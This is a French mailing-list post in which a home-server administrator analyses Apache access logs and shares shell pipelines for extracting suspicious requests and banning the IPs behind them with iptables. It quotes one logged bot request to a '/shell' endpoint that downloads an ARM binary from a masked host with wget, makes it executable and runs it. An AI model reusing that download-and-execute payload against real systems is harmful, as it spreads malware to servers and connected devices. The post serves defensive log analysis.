Analyse de logs apache

Top Page

Reply to this message
Author: Olivier Allard-Jacquin
Date:  
To: Guilde Mailing list
Subject: Analyse de logs apache
    Bonsoir,

    j'ai un petit serveur Apache qui me sert un peu, et qui est connecté à 
Internet.


    L'analyse des logs montre qu'il est régulièrement sollicité par toutes 
sortes d'IP, et que des robots essayent de lui faire faire des trucs pas 
sympa.


    Exemple:
(gzip -cd /var/log/apache2/access.log*.gz; cat 
/var/log/apache2/access.log)|grep shell


x.x.x.x - - [18/Apr/2022:19:19:43 +0200] "GET
/shell?cd+/tmp;+wget+http:/\\/y.y.y.y/FKKK/NW_BBB.arm;+chmod+777+NW_BBB.arm;+./NW_BBB.arm
Jaws.Selfrep;rm+-rf+NW_BBB.arm" 400 493 "-" "-"

    J'ai masqué les IPs, car ce ne sont probablement des bots.


    Trois remarques:
- ce qui veut être fait est assez clair : télécharger un binaire depuis 
y.y.y.y, et l'exécuter


- à l'extension ".arm", la cible de l'attaque pourrait être un mini-pc
ou un objet connecté quelconque

- non mais sérieusement : quel est le ###### de développeur qui laisse
un script appelé "shell", et qui de toute évidence permet de lancer des
commandes de type unix/linux/posix, sans aucune protection, et ce,
directement depuis un serveur web ? Sérieux, il y a qui réfléchissent
lorsqu'ils codent / intègrent ?

    En analysant les requêtes apaches, je me rends compte qu'il y a 
régulièrement des accès qui ciblent des requêtes bien précises, aussi je 
partage ici un peu de bricolage:


# Extrait toutes les requêtes, et renvoi un fichier en 3 colonnes
(séparés par des tabulations):
# - IP
# - Requête
# - Code HTTP de retour
https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP#Codes_d'%C3%A9tat :
Les 2xx ont acceptables, les autres un peu moins voir pas du tout
#
# Il y a trois petit filtrages à la fin, afin de retirer:
# - les requêtes "GET /" et "GET /favicon.ico" qui sont un minimum légitimes
# - les IP locales
# - les requêtes qui sont acceptés par la serveur (code HTTP 200)
(gzip -cd /var/log/apache2/access*.log*.gz; cat
/var/log/apache2/access*.log.[0-9]; cat /var/log/apache2/access*.log) |
sed -e 's/^\([0-9\.]\+\) [^]]\+] "\([^"]\+\)"
\([0-9]\+\).*/\1\t\2\t\3/g' -e '/\tGET \(\/\|\/favicon.ico\)
HTTP\/[0-9]\.[0-9]/d' -e '/200$/d' -e
'/^\(192\.168\.[01]\.\|127\.\0\.0\.1\)/d' |sort -u| tee /tmp/analyse-1.txt

    Evidement, l'analyse ci-dessus dépend fortement du format des logs apache:


# grep -ir logformat /etc/apache2/
/etc/apache2/apache2.conf:LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O
\"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
/etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O
\"%{Referer}i\" \"%{User-Agent}i\"" combined
/etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O" common
/etc/apache2/apache2.conf:LogFormat "%{Referer}i -> %U" referer
/etc/apache2/apache2.conf:LogFormat "%{User-agent}i" agent


# Inverse les colonnes 1 et 2 dans le fichier ci-dessus, afin de repérer
plus facilement les accès récurrents
sed -e 's/^\([^\t]\+\)\t\(.*\)/\2\t\1/g' /tmp/analyse-1.txt| sort -u |
tee /tmp/analyse-2.txt

# Il reste à faire une analyse manuelle, de ce qui paraît honnête ou
non, et de supprimer de /tmp/analyse-2.txt ce qui est légitime/
Grosso-modo, pas grand chose ... :)

# Extrait les adresses IP au comportement suspect
sed -e 's/.*\t//g' /tmp/analyse-2.txt | sort -u | tee /tmp/analyse-3.txt

# wc -l /tmp/analyse-*
   1682 /tmp/analyse-1.txt
   1682 /tmp/analyse-2.txt
    248 /tmp/analyse-3.txt


=> 248 IP à bannir ...

# Après, j'ai un alias maison qui rajoute les IP au filtrage iptables
for IP in `cat /tmp/analyse-3.txt`; do iptables_filter_add "$IP"; done

    Cordialement,
                        Olivier
-- 
~~~~~~~  _____/\_____  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Phoenix /   _ \/ _   \    Olivier Allard-Jacquin
        /   / \  / \   \   Web:  http://olivieraj.free.fr/
       /___/  /  \  \___\  Mail: olivieraj@???
~~~~ /////  ///\\\  \\\\\ ~~~~~~~~~~~~~~~~~~~~~~~ Linux Powered !!